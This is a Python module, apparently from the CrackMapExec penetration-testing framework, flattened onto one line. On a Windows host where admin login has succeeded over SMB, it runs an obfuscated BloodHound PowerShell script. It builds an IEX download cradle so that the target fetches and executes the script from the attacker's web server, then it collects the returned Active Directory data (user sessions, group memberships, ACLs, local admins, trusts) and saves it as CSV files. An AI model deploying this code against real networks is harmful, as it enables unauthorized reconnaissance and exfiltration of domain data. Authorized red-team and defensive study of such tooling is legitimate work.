from cme.helpers.powershell import * from cme.helpers.misc import validate_ntlm from cme.helpers.logger import write_log from sys import exit class CMEModule: ''' Executes the BloodHound recon script on the target and retreives the results onto the attackers' machine 2 supported modes : CSV : exports data into CSVs on the target file system before retrieving them (NOT opsec safe) Neo4j API : exports data directly to the Neo4j API (opsec safe) Module by Waffle-Wrath Bloodhound.ps1 script base : https://github.com/BloodHoundAD/BloodHound ''' name = 'bloodhound' description = 'Executes the BloodHound recon script on the target and retreives the results to the attackers\' machine' supported_protocols = ['smb'] opsec_safe= False multiple_hosts = False def options(self, context, module_options): ''' THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be written on target (defaults to C:\) NEO4JURI (optional) URI for direct Neo4j ingestion (defaults to blank) NEO4JUSER (optional) Username for direct Neo4j ingestion NEO4JPASS (optional) Pass for direct Neo4j ingestion Give NEO4J options to perform direct Neo4j ingestion (no CSVs on target) ''' self.threads = 3 self.csv_path = 'C:\\' self.collection_method = 'Default' self.neo4j_URI = "" self.neo4j_user = "" self.neo4j_pass = "" if module_options and 'THREADS' in module_options: self.threads = module_options['THREADS'] if module_options and 'CSVPATH' in module_options: self.csv_path = module_options['CSVPATH'] if module_options and 'COLLECTIONMETHOD' in module_options: self.collection_method = module_options['COLLECTIONMETHOD'] if module_options and 'NEO4JURI' in module_options: self.neo4j_URI = module_options['NEO4JURI'] if module_options and 'NEO4JUSER' in module_options: self.neo4j_user = module_options['NEO4JUSER'] if module_options and 'NEO4JPASS' in module_options: self.neo4j_pass = module_options['NEO4JPASS'] if self.neo4j_URI != "" and self.neo4j_user != "" and self.neo4j_pass != "" : self.opsec_safe= True self.ps_script = obfs_ps_script('BloodHound-modified.ps1') def on_admin_login(self, context, connection): if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" : command = "Invoke-BloodHound -CSVFolder '{}' -Throttle '{}' -CollectionMethod '{}'".format(self.csv_path, self.threads, self.collection_method) else : command = 'Invoke-BloodHound -URI {} -UserPass "{}:{}" -Throttle {} -CollectionMethod {}'.format(self.neo4j_URI, self.neo4j_user, self.neo4j_pass, self.threads, self.collection_method) launcher = gen_ps_iex_cradle(context, 'BloodHound-modified.ps1', command) connection.ps_execute(launcher) context.log.success('Executed launcher') def on_request(self, context, request): if 'BloodHound-modified.ps1' == request.path[1:]: request.send_response(200) request.end_headers() request.wfile.write(self.ps_script.encode()) context.log.success('Executing payload... this can take a few minutes...') else: request.send_response(404) request.end_headers() def on_response(self, context, response): response.send_response(200) response.end_headers() length = int(response.headers.get('content-length')) data = response.rfile.read(length).decode() response.stop_tracking_host() if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" : self.parse_ouput(data, context, response) context.log.success("Successfully retreived data") def parse_ouput(self, data, context, response): ''' Parse the output from Invoke-BloodHound ''' parsedData = data.split("!-!") nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] for x in range(0, len(parsedData)): if "ComputerName" in parsedData[x] and "UserName" in parsedData[x] : log_name = '{}-{}-{}.csv'.format(nameList[0], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) context.log.info("Saved csv output to {}".format(log_name)) elif "GroupName" in parsedData[x] and "AccountName" in parsedData[x] : log_name = '{}-{}-{}.csv'.format(nameList[1], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) context.log.info("Saved csv output to {}".format(log_name)) elif "ComputerName" in parsedData[x] and "AccountName" in parsedData[x] : log_name = '{}-{}-{}.csv'.format(nameList[3], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) context.log.info("Saved csv output to {}".format(log_name)) elif "SourceDomain" in parsedData[x] and "TrustType" in parsedData[x] : log_name = '{}-{}-{}.csv'.format(nameList[4], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) context.log.info("Saved csv output to {}".format(log_name)) elif "ObjectName" in parsedData[x] and "ObjectType" in parsedData[x] : log_name = '{}-{}-{}.csv'.format(nameList[2], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) context.log.info("Saved csv output to {}".format(log_name))